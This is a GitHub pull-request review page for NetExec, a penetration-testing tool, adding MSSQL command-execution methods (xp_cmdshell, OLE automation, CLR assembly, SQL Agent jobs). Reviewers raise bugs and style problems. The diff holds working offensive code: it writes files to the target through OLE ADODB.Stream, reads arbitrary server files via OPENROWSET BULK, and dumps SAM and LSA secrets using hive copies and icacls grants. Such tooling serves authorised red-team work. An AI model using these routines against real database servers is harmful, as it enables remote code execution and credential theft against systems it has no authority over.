Skip to content

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you commit the C# source next to the DLL (and the build command), so the binary can be rebuilt and checked? Three things I hit with it on the lab:

  • SqlContext.Pipe.Send() truncates at 4000 characters: -x "dir C:\Windows\System32" stops in the middle of a line. Sending the output in chunks, or returning it as a result set with SendResultsRow, would fix it.
  • stderr is not redirected, -x "dir nonexistent" shows no error at all.
  • stdout is read with the default ANSI encoding while cmd.exe writes in the OEM code page, so accents come back as num‚ro and --codec cannot fix it since the string is already decoded server side. Setting StartInfo.StandardOutputEncoding to the OEM code page should do it.

Binary file not shown.
264 changes: 213 additions & 51 deletions nxc/protocols/mssql.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,9 @@
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.dpapi import DPAPITriage
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from nxc.protocols.mssql.oleexec import OLEEXEC
from nxc.protocols.mssql.clrexec import CLREXEC
from nxc.protocols.mssql.jobexec import JOBEXEC

from dploot.lib.network.mssql import MSSQLTarget as Target

Expand Down Expand Up @@ -48,6 +51,8 @@ def __init__(self, args, db, host):
self.lmhash = ""
self.nthash = ""
self.no_ntlm = False
self.args = args

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

connection.__init__ already sets self.args, please remove it.

self.backuped_options = {}
self.encryption = None
self.edition = ""
self.version = ""
Expand Down Expand Up @@ -332,31 +337,114 @@ def query(self):
return raw_output

@requires_admin
def execute(self, payload=None, get_output=False):
payload = self.args.execute if not payload and self.args.execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
def execute(self, payload=None, get_output=False, methods=None) -> str:
"""
Executes a command on the target host using CMD.exe and the specified method(s).

get_output = True if not self.args.no_output else get_output
self.logger.debug(f"{get_output=}")
Args:
----
payload (str): The command to execute
get_output (bool): Whether to get the output of the command (can be useful for AV evasion)
methods (list): The method(s) to use for command execution

output = ""
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
output = exec_method.execute(payload)
self.logger.debug(f"Output: {output}")
except Exception as e:
self.logger.fail(f"Execute command failed, error: {e!s}")
return False
else:
if self.conn.lastError:
self.logger.fail(f"Error during command execution: {self.conn.lastError}")
Returns:
-------
str: The output of the command
"""
if getattr(self.args, "exec_method_explicitly_set", False):
methods = [self.args.exec_method]
if not methods:
methods = ["mssqlexec", "oleexec", "clrexec"]

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The fallback list is dead code: the loop breaks as soon as the class is instantiated, and none of the constructors can fail (only JOBEXEC does a query, and it is not in the list). So when xp_cmdshell fails we never try oleexec or clrexec. Was the fallback supposed to happen on execution failure? If not, please drop the loop and use a dict:

exec_methods = {"mssqlexec": MSSQLEXEC, "oleexec": OLEEXEC, "clrexec": CLREXEC, "jobexec": JOBEXEC}
exec_method = exec_methods[self.args.exec_method](self)

That also removes the four copy-pasted try/except Exception blocks and the if "exec_method" in locals() at line 402.


if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output:
get_output = True

current_method = ""
for method in methods:
current_method = method
if method == "mssqlexec":
try:
exec_method = MSSQLEXEC(self)
self.logger.debug("MSSQLEXEC execution method instantiated")
break
except Exception as e:
self.logger.fail(f"Couldn't instantiate MSSQLEXEC method: {e!s}")
continue
elif method == "oleexec":
try:
exec_method = OLEEXEC(self)
self.logger.debug("OLEEXEC execution method instantiated")
break
except Exception as e:
self.logger.fail(f"Couldn't instantiate OLEEXEC method: {e!s}")
continue
elif method == "clrexec":
try:
exec_method = CLREXEC(self)
self.logger.debug("CLREXEC execution method instantiated")
break
except Exception as e:
self.logger.fail(f"Couldn't instantiate CLREXEC method: {e!s}")
continue
elif method == "jobexec":
try:
exec_method = JOBEXEC(self)
# SQL agent is not running, as such we just return and avoid command execution
if exec_method.is_sql_server_agent_running is False:
return None
self.logger.debug("JOBEXEC execution method instantiated")
break
except Exception as e:
self.logger.fail(f"Couldn't instantiate JOBEXEC method: {e!s}")
continue
if "exec_method" in locals():

# This part is hacky because we need to be able to determine whether the user used -x/-X with a command
# Or with a custom assembly to execute.
clr_assembly_explicitly_set = getattr(self.args, "clr_assembly_explicitly_set", False)
if (self.args.execute is True or self.args.ps_execute is True) and not clr_assembly_explicitly_set:

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I am not a fan of -x / -X with nargs="?" and the is True checks here. -x alone used to be an argparse error, now it logs in on every target before telling the user the command is missing, and -x --clr-assembly a.dll runs the procedure with @cmd = N'None'. Since the custom assembly does not use the command at all, could --clr-assembly PATH be its own action (a clr_assembly() method called by call_cmd_args, like --put-file)? Then -x keeps its required value and the whole block goes away.

if self.args.execute is True:
self.logger.fail("-x requires a command to execute")
if self.args.ps_execute is True:
self.logger.fail("-X requires a command to execute")
return ""

if method == "clrexec":
# if --clr-assembly is explicitly set then we don't have to provide the command to execute at all
# As such we overwrite it so that clrexec.py simply execute the provided CLR.
if getattr(self.args, "clr_assembly_explicitly_set", False):
payload = None
# Otherwise we rely on the default assembly that calls cmd /c payload
output = exec_method.execute(payload, get_output, self.args)
else:
self.logger.success("Executed command via mssqlexec")
for line in output.splitlines():
self.logger.highlight(line.strip())
return output
output = exec_method.execute(payload, get_output)

try:
if not isinstance(output, str):
output = output.decode(self.args.codec)
except UnicodeDecodeError:
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
output = output.decode("cp437")

self.logger.debug(f"Raw Output: {output}")
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
self.logger.debug(f"Cleaned Output: {output}")

if "This script contains malicious content" in output:
self.logger.fail("Command execution blocked by AMSI")
return ""

if (self.args.execute or self.args.ps_execute or self.args.clr_assembly_explicitly_set):

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

clr_assembly_explicitly_set only exists on the namespace when --clr-assembly was passed, so every caller that goes through execute() without -x/-X crashes here. nxc mssql <ip> -u <user> -p <pass> -M test_connection -o HOST=localhost gives:

image

Same for met_inject, web_delivery and any module calling connection.execute(). I think the simplest fix is to drop the DefaultTrackingAction on both options, use default=None, and test if self.args.clr_assembly: / if self.args.exec_method:. That also removes the three getattr(self.args, ...) at lines 354, 406 and 417.

self.logger.success(f"Executed command via {current_method}")
if output:
for line in output.split("\n"):
self.logger.highlight(line)
return output
else:
self.logger.fail(f"Execute command failed with {current_method}")
return ""

@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
Expand Down Expand Up @@ -386,30 +474,42 @@ def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=Fa
return response

@requires_admin
def put_file(self):
self.logger.display(f"Copy {self.args.put_file[0]} to {self.args.put_file[1]}")
with open(self.args.put_file[0], "rb") as f:
def put_file(self, download_path=None, remote_path=None):
if remote_path is None and download_path is None:
download_path = self.args.put_file[0]
remote_path = self.args.put_file[1]
self.logger.display(f"Copy {download_path} to {remote_path}")
with open(download_path, "rb") as f:
data = f.read()
self.logger.display(f"Size is {len(data)} bytes")
try:
data = f.read()
self.logger.display(f"Size is {len(data)} bytes")
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.put_file(data, self.args.put_file[1])
if exec_method.file_exists(self.args.put_file[1]):
self.logger.success("File has been uploaded on the remote machine")
else:
self.logger.fail("File does not exist on the remote system... error during upload")
self.backup_and_enable("advanced options")
self.backup_and_enable("Ole Automation Procedures")
hexdata = data.hex()
self.logger.debug(f"Hex data to write to file: {hexdata}")
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote_path}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
self.logger.debug(f"Executing query: {query}")
self.conn.sql_query(query)
self.restore("Ole Automation Procedures")
self.restore("advanced options")
except Exception as e:
self.logger.fail(f"Error during upload : {e}")
self.logger.debug(f"Error uploading via mssqlexec: {e}")

@requires_admin
def get_file(self):
remote_path = self.args.get_file[0]
download_path = self.args.get_file[1]
def get_file(self, remote_path=None, download_path=None):
if remote_path is None and download_path is None:
remote_path = self.args.get_file[0]
download_path = self.args.get_file[1]
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')

try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
query = f"SELECT * FROM OPENROWSET(BULK N'{remote_path}', SINGLE_BLOB) rs"
self.logger.debug(f"Executing query: {query}")
self.conn.sql_query(query)
data = self.conn.rows
self.logger.debug(f"Get file returned: {data}")
with open(download_path, "wb+") as f:
f.write(binascii.unhexlify(data[0]["BulkColumn"]))
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
self.logger.fail(f'Error reading file "{remote_path}": {e}')
Expand Down Expand Up @@ -567,6 +667,25 @@ def database(self):
self.logger.highlight(f"Total: {len(rows)} table(s)")
return

def sql_agent(self):
check_sql_agent_server_req = """
SELECT
status_desc,
status,
service_account
FROM sys.dm_server_services
WHERE servicename LIKE '%SQL Server Agent%';
"""

self.logger.debug(f"Running {check_sql_agent_server_req}")
rows = self.conn.sql_query(check_sql_agent_server_req)
if self.conn.lastError:
self.logger.fail(f"Error executing jobexec: {self.conn.lastError}")

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy-paste from jobexec.py, this is not jobexec. It also needs a return, otherwise a permission error prints both this and SQL Server Agent not running.

if not rows or rows[0]["status"] != 4:
self.logger.fail("SQL Server Agent not running.")
else:
self.logger.highlight(f"SQL server agent running as {rows[0]['service_account']}")

@requires_admin
def sam(self):
sam_storename = gen_random_string(6)
Expand All @@ -577,12 +696,12 @@ def sam(self):
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="sam")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
exec_method = MSSQLEXEC(self)
exec_method.execute(dump_command, True)
exec_method.execute(get_owner_command, True)
self.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam")
self.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command, True)
except Exception as e:
self.logger.fail(f"Failed to dump SAM database, error: {e!s}")
self.logger.debug(f"Error dumping SAM: {e}", exc_info=True)
Expand Down Expand Up @@ -613,12 +732,12 @@ def lsa(self, quiet=False):
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
exec_method = MSSQLEXEC(self)
exec_method.execute(dump_command, True)
exec_method.execute(get_owner_command, True)
self.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
self.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command, True)
except Exception as e:
self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}")
self.logger.debug(f"Error dumping LSA: {e}", exc_info=True)
Expand Down Expand Up @@ -652,6 +771,49 @@ def lsa_secret_callback(_, secret):
LSA.dumpCachedHashes()
LSA.dumpSecrets()

def _is_option_enabled(self, option):

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No _ prefix on methods please, is_option_enabled() as before. Same for _cleanup_stale(), _cleanup() and _restore_all() in clrexec.py.

query = f"EXEC master.dbo.sp_configure '{option}';"
self.logger.debug(f"Checking if '{option}' is enabled: {query}")
result = self.conn.sql_query(query)
self.logger.debug(f"'{option}' check result: {result}")
return bool(result and result[0]["config_value"] == 1)

@requires_admin
def backup_and_enable(self, option):
try:
self.backuped_options[option] = self._is_option_enabled(option)
if not self.backuped_options[option]:
self.logger.debug(f"Option '{option}' is disabled, enabling it.")
self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;")
else:
self.logger.debug(f"Option '{option}' is already enabled.")
except Exception as e:
self.logger.error(f"Error enabling '{option}': {e}")

@requires_admin
def backup_and_disable(self, option):
try:
self.backuped_options[option] = self._is_option_enabled(option)
if self.backuped_options[option]:
self.logger.debug(f"Option '{option}' is enabled, disabling it.")
self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;")
else:
self.logger.debug(f"Option '{option}' is already disabled.")
except Exception as e:
self.logger.error(f"Error disabling '{option}': {e}")

@requires_admin
def restore(self, option):
try:
original = self.backuped_options.get(option)
if original is None:
return
target_val = 1 if original else 0
self.logger.debug(f"Restoring '{option}' to {target_val}.")
self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', {target_val};RECONFIGURE;")
except Exception as e:
self.logger.error(f"[OPSEC] Error restoring '{option}': {e}")

@requires_admin
def dpapi(self):
self.dpapi_triage.triage_dpapi()
Expand Down
Loading